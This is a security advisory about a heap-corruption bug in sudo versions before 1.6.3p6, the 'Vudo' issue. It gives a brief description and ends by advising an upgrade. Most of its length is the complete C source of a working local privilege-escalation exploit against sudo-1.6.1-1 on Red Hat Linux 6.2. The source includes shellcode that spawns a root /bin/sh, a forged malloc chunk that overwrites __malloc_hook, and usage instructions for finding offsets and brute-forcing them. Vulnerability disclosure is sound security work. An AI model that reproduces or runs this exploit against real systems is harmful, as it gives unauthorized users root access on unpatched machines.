COMMAND

    sudo

SYSTEMS AFFECTED

    sudo prior tp 1.6.3p6

PROBLEM

    Michel  Kaempf  found  following.   Sudo  (superuser  do) allows a
    system administrator to  give certain users  (or groups of  users)
    the ability to run some (or all) commands as root or another  user
    while logging the commands and arguments.

    On February  19, 2001,  Sudo version  1.6.3p6 was  released: "This
    fixes a  potential security  problem.   So far,  the bug  does not
    appear to be exploitable."   Despite the comments sent to  various
    security mailing lists after the announce of the new Sudo version,
    the bug is not a buffer  overflow and the bug does not  damage the
    stack.

    But the bug is exploitable:  even a single byte located  somewhere
    in the heap, erroneously overwritten  by a NUL byte before  a call
    to syslog(3)  and immediately  restored after  the syslog(3) call,
    may actually lead to execution of code as root.  A working exploit
    for Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1 is attached at the
    end of this advisory and  a complete research paper on  this issue
    and on general heap corruption techniques will be released soon.

    In  order  to  successfully  gain  root  privileges  via  the Vudo
    exploit, a  user does  not necessarily  need to  be present in the
    sudoers file,  but has  to know  their user  password.   They need
    additionally to provide three command line arguments:
    - the address of the __malloc_hook function pointer, which  varies
      from one system to another but can be determined;
    - the size of the tz buffer, which varies slightly from one system
      to another and has to be brute forced;
    - the  size of  the envp  buffer, which  varies slightly  from one
      system to another and has to be brute forced.

    /*
     * vudo.c versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1
     * Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@synnergy.net>
     *
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or (at
     * your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
     * General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
     * USA
     */
    
    #include <limits.h>
    #include <paths.h>
    #include <pwd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    typedef struct malloc_chunk {
        size_t prev_size;
        size_t size;
        struct malloc_chunk * fd;
        struct malloc_chunk * bk;
    } * mchunkptr;
    
    #define SIZE_SZ sizeof(size_t)
    #define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
    #define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
    #define MINSIZE sizeof(struct malloc_chunk)
    
    /* shellcode */
    #define sc \
        /* jmp */ \
        "\xeb\x0appssssffff" \
        /* setuid */ \
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
        /* setgid */ \
        "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
        /* execve */ \
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
        "\x80\xe8\xdc\xff\xff\xff/bin/sh"
    
    #define MAX_UID_T_LEN 10
    #define MAXSYSLOGLEN 960
    #define IFCONF_BUF r2s( 8200 )
    #define SUDOERS_FP r2s( 176 )
    #define VASPRINTF r2s( 6300 )
    #define VICTIM_SIZE r2s( 1500 )
    #define SUDO "/usr/bin/sudo"
    #define USER_CWD "/"
    #define MESSAGE 19 /* "command not allowed" or "user NOT in sudoers" */
    #define USER_ARGS ( VASPRINTF - VICTIM_SIZE - SIZE_SZ - 1 - (MAXSYSLOGLEN+1) )
    #define PREV_SIZE 0x5858614d
    #define SIZE r2s( 192 )
    #define SPACESPACE 0x08072020
    #define POST_PS1 ( r2s(16) + r2s(640) + r2s(400) )
    #define BK ( SPACESPACE - POST_PS1 + SIZE_SZ - sizeof(sc) )
    #define STACK ( 0xc0000000 - 4 )
    #define PRE_SHELL "SHELL="
    #define MAXPATHLEN 4095
    #define SHELL ( MAXPATHLEN - 1 )
    #define PRE_SUDO_PS1 "SUDO_PS1="
    #define PRE_TZ "TZ="
    #define LIBC "/lib/libc.so.6"
    #define TZ_FIRST ( MINSIZE - SIZE_SZ - 1 )
    #define TZ_STEP ( MALLOC_ALIGNMENT / sizeof(char) )
    #define TZ_LAST ( 0x10000 - SIZE_SZ - 1 )
    #define POST_IFCONF_BUF ( r2s(1600)+r2s(40)+r2s(16386)+r2s(3100)+r2s(6300) )
    #define ENVP_FIRST ( ((POST_IFCONF_BUF - SIZE_SZ) / sizeof(char *)) - 1 )
    #define ENVP_STEP ( MALLOC_ALIGNMENT / sizeof(char *) )
    
    /* request2size() */
    size_t
    r2s( size_t request )
    {
        size_t size;
    
        size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
        if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
            size = MINSIZE;
        } else {
            size &= ~MALLOC_ALIGN_MASK;
        }
        return( size );
    }
    
    /* nul() */
    int
    nul( size_t size )
    {
        char * p = (char *)( &size );
    
        if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
            return( -1 );
        }
        return( 0 );
    }
    
    /* nul_or_space() */
    int
    nul_or_space( size_t size )
    {
        char * p = (char *)( &size );
    
        if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
            return( -1 );
        }
        if ( p[0] == ' ' || p[1] == ' ' || p[2] == ' ' || p[3] == ' ' ) {
            return( -1 );
        }
        return( 0 );
    }
    
    typedef struct vudo_s {
        /* command line */
        size_t __malloc_hook;
        size_t tz;
        size_t envp;
    
        size_t setenv;
        size_t msg;
        size_t buf;
        size_t NewArgv;
    
        /* execve */
        char ** execve_argv;
        char ** execve_envp;
    } vudo_t;
    
    /* vudo_setenv() */
    size_t
    vudo_setenv( uid_t uid )
    {
        struct passwd * pw;
        size_t setenv;
        char idstr[ MAX_UID_T_LEN + 1 ];
    
        /* pw */
        pw = getpwuid( uid );
        if ( pw == NULL ) {
            return( 0 );
        }
    
        /* SUDO_COMMAND */
        setenv = r2s( 16 );
    
        /* SUDO_USER */
        setenv += r2s( strlen("SUDO_USER=") + strlen(pw->pw_name) + 1 );
        setenv += r2s( 16 );
    
        /* SUDO_UID */
        sprintf( idstr, "%ld", (long)(pw->pw_uid) );
        setenv += r2s( strlen("SUDO_UID=") + strlen(idstr) + 1 );
        setenv += r2s( 16 );
    
        /* SUDO_GID */
        sprintf( idstr, "%ld", (long)(pw->pw_gid) );
        setenv += r2s( strlen("SUDO_GID=") + strlen(idstr) + 1 );
        setenv += r2s( 16 );
    
        return( setenv );
    }
    
    /* vudo_msg() */
    size_t
    vudo_msg( vudo_t * p_v )
    {
        size_t msg;
    
        msg = ( MAXSYSLOGLEN + 1 ) - strlen( "shell " ) + 3;
        msg *= sizeof(char *);
        msg += SIZE_SZ - IFCONF_BUF + p_v->setenv + SUDOERS_FP + VASPRINTF;
        msg /= sizeof(char *) + 1;
    
        return( msg );
    }
    
    /* vudo_buf() */
    size_t
    vudo_buf( vudo_t * p_v )
    {
        size_t buf;
    
        buf = VASPRINTF - VICTIM_SIZE - p_v->msg;
    
        return( buf );
    }
    
    /* vudo_NewArgv() */
    size_t
    vudo_NewArgv( vudo_t * p_v )
    {
        size_t NewArgv;
    
        NewArgv = IFCONF_BUF - VICTIM_SIZE - p_v->setenv - SUDOERS_FP - p_v->buf;
    
        return( NewArgv );
    }
    
    /* vudo_execve_argv() */
    char **
    vudo_execve_argv( vudo_t * p_v )
    {
        size_t pudding;
        char ** execve_argv;
        char * p;
        char * user_tty;
        size_t size;
        char * user_runas;
        int i;
        char * user_args;
    
        /* pudding */
        pudding = ( (p_v->NewArgv - SIZE_SZ) / sizeof(char *) ) - 3;
    
        /* execve_argv */
        execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) );
        if ( execve_argv == NULL ) {
            return( NULL );
        }
    
        /* execve_argv[ 0 ] */
        execve_argv[ 0 ] = SUDO;
    
        /* execve_argv[ 1 ] */
        execve_argv[ 1 ] = "-s";
    
        /* execve_argv[ 2 ] */
        execve_argv[ 2 ] = "-u";
    
        /* user_tty */
        if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) {
            if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) - 1) == 0 ) {
                p += sizeof(_PATH_DEV) - 1;
            }
            user_tty = p;
        } else {
            user_tty = "unknown";
        }
    
        /* user_cwd */
        if ( chdir(USER_CWD) == -1 ) {
            return( NULL );
        }
    
        /* user_runas */
        size = p_v->msg;
        size -= MESSAGE;
        size -= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" );
        size -= strlen( user_tty );
        size -= strlen( USER_CWD );
        user_runas = malloc( size + 1 );
        if ( user_runas == NULL ) {
            return( NULL );
        }
        memset( user_runas, 'M', size );
        user_runas[ size ] = '\0';
    
        /* execve_argv[ 3 ] */
        execve_argv[ 3 ] = user_runas;
    
        /* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) - 1 ] */
        for ( i = 4; i < 4 + pudding; i++ ) {
            execve_argv[ i ] = "";
        }
    
        /* user_args */
        user_args = malloc( USER_ARGS + 1 );
        if ( user_args == NULL ) {
            return( NULL );
        }
        memset( user_args, 'S', USER_ARGS );
        user_args[ USER_ARGS ] = '\0';
    
        /* execve_argv[ 4 + pudding ] */
        execve_argv[ 4 + pudding ] = user_args;
    
        /* execve_argv[ (4 + pudding) + 1 ] */
        execve_argv[ (4 + pudding) + 1 ] = NULL;
    
        return( execve_argv );
    }
    
    /* vudo_execve_envp() */
    char **
    vudo_execve_envp( vudo_t * p_v )
    {
        size_t fd;
        char * chunk;
        size_t post_pudding;
        int i;
        size_t pudding;
        size_t size;
        char * post_chunk;
        size_t p_chunk;
        char * shell;
        char * p;
        char * sudo_ps1;
        char * tz;
        char ** execve_envp;
        size_t stack;
    
        /* fd */
        fd = p_v->__malloc_hook - ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );
    
        /* chunk */
        chunk = malloc( MINSIZE + 1 );
        if ( chunk == NULL ) {
            return( NULL );
        }
        ( (mchunkptr)chunk )->prev_size = PREV_SIZE;
        ( (mchunkptr)chunk )->size = SIZE;
        ( (mchunkptr)chunk )->fd = (mchunkptr)fd;
        ( (mchunkptr)chunk )->bk = (mchunkptr)BK;
        chunk[ MINSIZE ] = '\0';
    
        /* post_pudding */
        post_pudding = 0;
        for ( i = 0; i < MINSIZE + 1; i++ ) {
            if ( chunk[i] == '\0' ) {
                post_pudding += 1;
            }
        }
    
        /* pudding */
        pudding = p_v->envp - ( 3 + post_pudding + 2 );
    
        /* post_chunk */
        size = ( SIZE - 1 ) - 1;
        while ( nul(STACK - sizeof(SUDO) - (size + 1) - (MINSIZE + 1)) ) {
            size += 1;
        }
        post_chunk = malloc( size + 1 );
        if ( post_chunk == NULL ) {
            return( NULL );
        }
        memset( post_chunk, 'Y', size );
        post_chunk[ size ] = '\0';
    
        /* p_chunk */
        p_chunk = STACK - sizeof(SUDO) - (strlen(post_chunk) + 1) - (MINSIZE + 1);
    
        /* shell */
        shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );
        if ( shell == NULL ) {
            return( NULL );
        }
        p = shell;
        memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );
        p += strlen( PRE_SHELL );
        while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ-1)) ) {
            *((size_t *)p) = p_chunk;
            p += SIZE_SZ;
        }
        while ( p < shell + strlen(PRE_SHELL) + SHELL ) {
            *(p++) = '2';
        }
        *p = '\0';
    
        /* sudo_ps1 */
        size = p_v->buf;
        size -= POST_PS1 + VICTIM_SIZE;
        size -= strlen( "PS1=" ) + 1 + SIZE_SZ;
        sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 );
        if ( sudo_ps1 == NULL ) {
            return( NULL );
        }
        memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) );
        memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 - sizeof(sc) );
        strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 - sizeof(sc), sc );
    
        /* tz */
        tz = malloc( strlen(PRE_TZ) + p_v->tz + 1 );
        if ( tz == NULL ) {
            return( NULL );
        }
        memcpy( tz, PRE_TZ, strlen(PRE_TZ) );
        memset( tz + strlen(PRE_TZ), '0', p_v->tz );
        tz[ strlen(PRE_TZ) + p_v->tz ] = '\0';
    
        /* execve_envp */
        execve_envp = malloc( p_v->envp * sizeof(char *) );
        if ( execve_envp == NULL ) {
            return( NULL );
        }
    
        /* execve_envp[ p_v->envp - 1 ] */
        execve_envp[ p_v->envp - 1 ] = NULL;
    
        /* execve_envp[ 3+pudding ] .. execve_envp[ (3+pudding+post_pudding)-1 ] */
        p = chunk;
        for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) {
            execve_envp[ i ] = p;
            p += strlen( p ) + 1;
        }
    
        /* execve_envp[ 3 + pudding + post_pudding ] */
        execve_envp[ 3 + pudding + post_pudding ] = post_chunk;
    
        /* execve_envp[ 0 ] */
        execve_envp[ 0 ] = shell;
    
        /* execve_envp[ 1 ] */
        execve_envp[ 1 ] = sudo_ps1;
    
        /* execve_envp[ 2 ] */
        execve_envp[ 2 ] = tz;
    
        /* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) - 1 ] */
        i = 3 + pudding;
        stack = p_chunk;
        while ( i-- > 3 ) {
            size = 0;
            while ( nul_or_space(stack - (size + 1)) ) {
                size += 1;
            }
            if ( size == 0 ) {
                execve_envp[ i ] = "";
            } else {
                execve_envp[ i ] = malloc( size + 1 );
                if ( execve_envp[i] == NULL ) {
                    return( NULL );
                }
                memset( execve_envp[i], '1', size );
                ( execve_envp[ i ] )[ size ] = '\0';
            }
            stack -= size + 1;
        }
    
        return( execve_envp );
    }
    
    /* usage() */
    void
    usage( char * fn )
    {
        printf( "%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1\n", fn );
        printf( "Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n" );
        printf( "\n" );
    
        printf( "* Usage: %s __malloc_hook tz envp\n", fn );
        printf( "\n" );
    
        printf( "* Example: %s 0x002501dc 62595 6866\n", fn );
        printf( "\n" );
    
        printf( "* __malloc_hook:\n" );
        printf( "  $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC );
        printf( "  $ objdump --syms %s | grep __malloc_hook\n", LIBC );
        printf( "  $ nm %s | grep __malloc_hook\n", LIBC );
        printf( "\n" );
    
        printf( "* tz:\n" );
        printf( "  - first: %u\n", TZ_FIRST );
        printf( "  - step: %u\n", TZ_STEP );
        printf( "  - last: %u\n", TZ_LAST );
        printf( "\n" );
    
        printf( "* envp:\n" );
        printf( "  - first: %u\n", ENVP_FIRST );
        printf( "  - step: %u\n", ENVP_STEP );
    }
    
    /* main() */
    int
    main( int argc, char * argv[] )
    {
        vudo_t vudo;
    
        /* argc */
        if ( argc != 4 ) {
            usage( argv[0] );
            return( -1 );
        }
    
        /* vudo.__malloc_hook */
        vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );
        if ( vudo.__malloc_hook == ULONG_MAX ) {
            return( -1 );
        }
    
        /* vudo.tz */
        vudo.tz = strtoul( argv[2], NULL, 0 );
        if ( vudo.tz == ULONG_MAX ) {
            return( -1 );
        }
    
        /* vudo.envp */
        vudo.envp = strtoul( argv[3], NULL, 0 );
        if ( vudo.envp == ULONG_MAX ) {
            return( -1 );
        }
    
        /* vudo.setenv */
        vudo.setenv = vudo_setenv( getuid() );
        if ( vudo.setenv == 0 ) {
            return( -1 );
        }
    
        /* vudo.msg */
        vudo.msg = vudo_msg( &vudo );
    
        /* vudo.buf */
        vudo.buf = vudo_buf( &vudo );
    
        /* vudo.NewArgv */
        vudo.NewArgv = vudo_NewArgv( &vudo );
    
        /* vudo.execve_argv */
        vudo.execve_argv = vudo_execve_argv( &vudo );
        if ( vudo.execve_argv == NULL ) {
            return( -1 );
        }
    
        /* vudo.execve_envp */
        vudo.execve_envp = vudo_execve_envp( &vudo );
        if ( vudo.execve_envp == NULL ) {
            return( -1 );
        }
    
        /* execve */
        execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp );
        return( -1 );
    }

SOLUTION

    Sudo was not part of the main Red Hat Linux 6.2 distribution,  but
    was part  of powertools.   1.6.3p6 was  released as  as a security
    errata earlier this  year.  By  now, all OS  vendors have packages
    upgraded so  its safe  to say  that You  should upgrade  to latest
    patch level.